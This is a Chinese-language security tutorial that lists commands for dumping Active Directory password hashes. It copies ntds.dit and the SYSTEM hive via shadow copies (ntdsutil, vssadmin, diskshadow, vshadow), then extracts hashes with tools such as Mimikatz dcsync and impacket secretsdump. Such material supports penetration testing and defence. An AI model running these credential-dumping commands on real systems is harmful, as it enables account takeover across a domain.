导出域用户hash姿势总结

阅读量245952

发布时间 : 2023-02-15 17:30:43

 

一、域用户hash导出原理

ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。
ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,ntds.dit是加密的,需要获取system文件来解密。

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM

在通常的情况下,即使我们拥有域管理员权限也无法读取ntds.dit文件,因为活动目录始终访问着这个文件,所以禁止读取,使用windows的本地卷影拷贝可以获得文件的副本。

 

二、ntds.dit和system文件提取

0x01 ntdsutil

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。您可使用 Ntdsutil.exe 执行 Active Directory 的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用 Active Directory 安装向导 (DCPromo.exe) 成功降级的域控制器留下的元数据。—— 百度百科
简单讲,Ntdsutil.exe就是一个AD域的命令行工具,可以复制域控系统快照并从中提取ntds.dit文件。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

加载快照

ntdsutil snapshot "mount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

拷贝快照中的ntds.dit和system文件

copy C:\$SNAP_202302081523_VOLUMEC$\Windows\NTDS\ntds.dit C:\users\administrator\desktop\
copy C:\$SNAP_202302081523_VOLUMEC$\Windows\System32\config\SYSTEM C:\users\administrator\desktop\

卸载快照并删除

ntdsutil snapshot "unmount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" "delete {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

0x02 vssadmin

vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

创建卷影拷贝

vssadmin create shadow /for=c:

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\users\administrator\desktop\SYSTEM

删除卷影拷贝

vssadmin delete shadows /for=c: /quiet

0x03 vssown.vbs

功能和vssadmin类似,一个可视化的脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。
下载地址:vssown.vbs

启动卷影拷贝服务

cscript vssown.vbs /start

创建卷影拷贝

cscript vssown.vbs /create c

列出卷影信息

cscript vssown.vbs /list

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit C:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\SYSTEM C:\users\administrator\desktop\SYSTEM

删除卷影拷贝

cscript vssown.vbs /delete {FBC1881F-ADF7-411B-AF81-2BE16D400A15}

0x04 diskshadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。该文件可以使用脚本模式,执行脚本中的所有命令,因此可以将拷贝ntds.dit文件的命令写入脚本中(c:\1.txt):

#设置卷影拷贝
set context persistent nowriters 

#添加卷
add volume c: alias someAlias 

#创建快照
create 

#分配虚拟磁盘盘符
expose %someAlias% g: 

#复制ntds.dit和system文件
exec "cmd.exe" /c copy g:\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit && copy g:\windows\system32\config\SYSTEM c:\users\administrator\desktop\SYSTEM

#删除所有快照
delete shadows all

#重置
reset

#退出
exit

命令行执行:

diskshadow.exe /s c:\1.txt 
#注意这里一定要将目录切到c:\windows\system32下,不然会报错,脚本中的注释去掉

0x05 vshadow

vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。用户可以在最新版本的VSS SDK中找到这个工具。功能类似vssadmin,需要将系统对应版本的vshadow程序拷贝到系统中。

方法一:

创建卷影拷贝

vshadow-2008-r2-x64.exe -exec=%ComSpec% C:

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\system32\config\SYSTEM c:\users\administrator\desktop\SYSTEM

卸载卷影

无需卸载,不会留下挂载痕迹。

方法二:

将vshadow-2008-r2-x64.exe改名为vshadow.exe,放在c.bat同目录下,命令行执行:
c.bat c:\windows\ntds\ntds.dit c:\

公众号回复vshadow获取工具,解压密码:公众号黑客前沿

 

三、获取hash

0x01 NTDSDumpEx

ntds.dit和system文件拷贝到本地,NTDSDumpEx执行以下命令:
NTDSDumpEx.exe -d ntds.dit -s system

工具下载地址:NTDSDumpEx

0x02 QuarksPwDump

本地导出

QuarksPwDump.exe --dump-hash-domain -sf system -nt ntds.dit

域控机器导出

无需system文件
QuarksPwDump.exe --dump-hash-domain -nt ntds.dit

项目地址:QuarksPwDump

0x03 Mimikatz

在域控机器执行
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit

工具下载地址:Mimikatz

0x04 impacket

kali下安装impacket

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install .
python3 setup.py install
cd examples

将ntds.dit和system文件拷贝到kali桌面,执行命令
python3 secretsdump.py -ntds /home/kali/Desktop/ntds.dit -system /home/kali/Desktop/SYSTEM LOCAL

本文由黑客前沿原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/286257

安全KER - 有思想的安全新媒体

分享到:微信
+10赞
收藏
黑客前沿
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66